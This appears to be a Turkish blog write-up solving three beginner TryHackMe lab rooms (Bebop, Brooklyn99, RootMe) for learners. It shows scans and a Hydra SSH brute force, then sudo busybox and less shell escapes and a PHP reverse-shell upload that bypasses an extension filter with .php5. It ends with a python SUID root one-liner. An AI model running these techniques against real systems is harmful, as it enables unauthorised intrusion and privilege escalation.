TryHackMe/Bebop, Brooklyn99 , Root me

Bugün sizlere başlangıç düzeyinde olan üç odanın çözümünü yapacağım bu odaları seçmemin nedeni yeni başlayan arkadaşlar için daha yararlı olacaklarını düşünmem. İlk olarak bizi çok uğraştırmayacak bir oda olan Bebop odasından başlayalım.

Bebop

nmap -A -T4 10.10.255.118
#Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 10:32 EST# Nmap scan report for 10.10.255.118 (10.10.255.118)
Host is up (0.068s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey:
| 2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
| 256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_ 256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open telnet BSD-derived telnetd
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Nmap çıktısını incelediğimizde 23 portunda açık bir telnet servisi olduğunu görüyoruz. Odanın başında bize kullanıcı adımızın “pilot” olduğu verildi. Biz de bu bilgiyi kullanacağız telnet portuna pilot adını girdiğimizde bizden şifre isteyip istemediğine bakacağız ama öncelikle;

Telnet Nedir?

Telnet kelimesinin açılımı “Telecommunication Network” iletişim ağı anlamına gelir temel olarak internet ağına bağlı bir cihaza uzaktan erişmemize ve içinde komut çalıştırmamıza olanak sağlar. Telnet protokolünde veriler şifrelenmez . Yani güvenli bir yazılım olduğunu söyleyemeyiz. Herhangi biri ağınıza girip verilerinizi elde edebilir ve telnet kullanıcılarınızı daha sonra Dos(Denial of service) saldırılarında kullanmak için zombi bilgisayara çevirebilir.

Telnet 10.10.255.118

“Pilot” kullanıcı adıyla bağlantı kurduğumuzda bizden herhangi bir şifre istemiyor. Çok rahat bir şekilde sisteme girebiliyoruz.

[pilot@freebsd~]$ cat user.txt

THM{*******************}

Root olarak kullanabildiğimiz komutla yetki yükseltme yapmak için;

“sudo -l” komutunu kullanıp “busybox” isimli komutu görüyoruz.

$ sudo /usr/local/bin/busybox sh <- "Yetki yükseltme için ne kullanıldı(2.2)"
#whoami
root
#cat /root/root.txt
THM{**************************}
#id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
#uname
FreeBSD <- "Drone hangi işletim sistemini kullanıyor(2.4)?"

Brooklyn99

Bu odanın iki farklı çözümü bulunmakta.

Çözüm1

nmap -A -T4 10.10.213.62
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17 23:17 note_to_jake.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.8.93.86
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).          

Nmap sonucundan yola çıkarak anonymous ftp bağlantısı yapıyoruz.

ftp 10.10.213.62
Connected to 10.10.213.62.
220 (vsFTPd 3.0.3)
Name (10.10.213.62:kernelblog): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 119 May 17 23:17 note_to_jake.txt
226 Directory send OK.

note_to_jake.txt dosyasını okumak için kendi bilgisayarımıza çekip okuyoruz.

ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (260.5627 kB/s)
cat note_to_jake.txt

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine”

Dosyanın çıktısından yola çıkarak “jake” kullanıcısının şifresini bulmak için brute-force yapmak için “hydra” aracını kullanıyoruz.

hydra -l jake -P /usr/share/wordlists/rockyou.txt -u 10.10.213.62 ssh
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-02 11:15:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.213.62:22/
[22][ssh] host: 10.10.213.62 login: jake password: 987654321

ssh bağlantısı yapıp user.txt’yi aratıyoruz.

ssh jake@10.10.213.62 -p 22
The authenticity of host '10.10.213.62 (10.10.213.62)' can't be established.
ECDSA key fingerprint is SHA256:Ofp49Dp4VBPb3v/vGM9jYfTRiwpg2v28x1uGhvoJ7K4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.213.62' (ECDSA) to the list of known hosts.
jake@10.10.213.62's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$ find / * | grep user.txt <- find bütün alt dizinleri arıyor çıktısı grep komutuna yönlendirilip grep komutunun user.txt'yi tutması sağlanıyor
find: ‘/proc/tty/driver’: Permission denied
find: ‘/proc/1/task/1/fd’: Permission denied
*
*
find: ‘/home/holt/.ssh’: Permission denied
/home/holt/user.txt

jake@brookly_nine_nine:~$ cat /home/holt/user.txt
e*****************************

Ardından root olarak kullanabildiğimiz komutların neler olduğuna bakıyoruz.

jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less

“less” komutu ile ise root.txt dosyasını okuyup root flagini alıyoruz.

— Creator : Fsociety2006 —
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: ****************************5

Enjoy!!

Çözüm 2

Makinenin web sitesine giriyoruz .

Sitenin kodlarını incelediğimizde yorum satırı arasında bir not görüyoruz.

“Stenography diye bir şey duydun mu hiç?”

Fotoğrafı indirip stegcracker aracını kullanarak resimin içinde herhangi bir data var mı diye bakıyorum.

stegcracker brooklyn99.jpg

Bu bilgileri kullanarak makineye ssh bağlantısı yapıyoruz ve holt kullanıcısının root.txt ve user.txt okuma izni bulunduğu için herhangi bir yetki yükseltme yapmamıza gerek kalmıyor.

Root me

Makineye yine nmap taraması yaparak başlıyoruz.

nmap -A -T4 10.10.9.125

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) < Port 22 de çalışan servis(2.3)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu) < Apache versiyonu(2.2)
|_http-title: HackIT – Home

Ardından gobuster ile diğer dizinleri tarıyoruz.

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.9.125
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.9.125
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/02 08:25:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
[ERROR] 2020/11/02 08:25:23 [!] Get http://10.10.9.125/comunicator: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/11/02 08:25:51 Finished
===============================================================

“/panel” dizinine gittiğimde dosya yükleyebildiğimiz bir alan bulunduğunu görüyoruz.

Php reverse shell yüklemeyi deniyoruz ama .php uzantısını kabul etmiyor.

“.php”

Bu sefer de uzantıyı php5 olarak değiştiriyoruz ve bu şekilde yüklemeyi deniyoruz.

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.93.86] from (UNKNOWN) [10.10.9.125] 39664
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:33:33 up 47 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$     
find / * | grep user.txt 
cat /var/www/user.txt
THM{***_***_*_*****}

Bağlantıyı sağlayıp user.txt dosyasını okuduktan sonra suid izni etkin olan dosyaları arıyoruz.

find / -user root -perm /4000 2>dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
*
*
/usr/bin/python < suid izinlerinde hangi dosya garip?(4.1)
/usr/bin/chfn

python komutunun suid izni olduğunu görüyoruz ve python komutu ile yetki yükseltmesi yapıp root.txt dosyasını okuyoruz.

python -c 'import os; os.setuid(0); os.system("/bin/sh")'
id                                                                          
uid=0(root) gid=33(www-data) groups=33(www-data)                             
cat /root/root.txt                                                           
THM{********_**********}

Ve makine çözümlerimiz bu yazı için bu kadar. Kendinize iyi bakın…

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir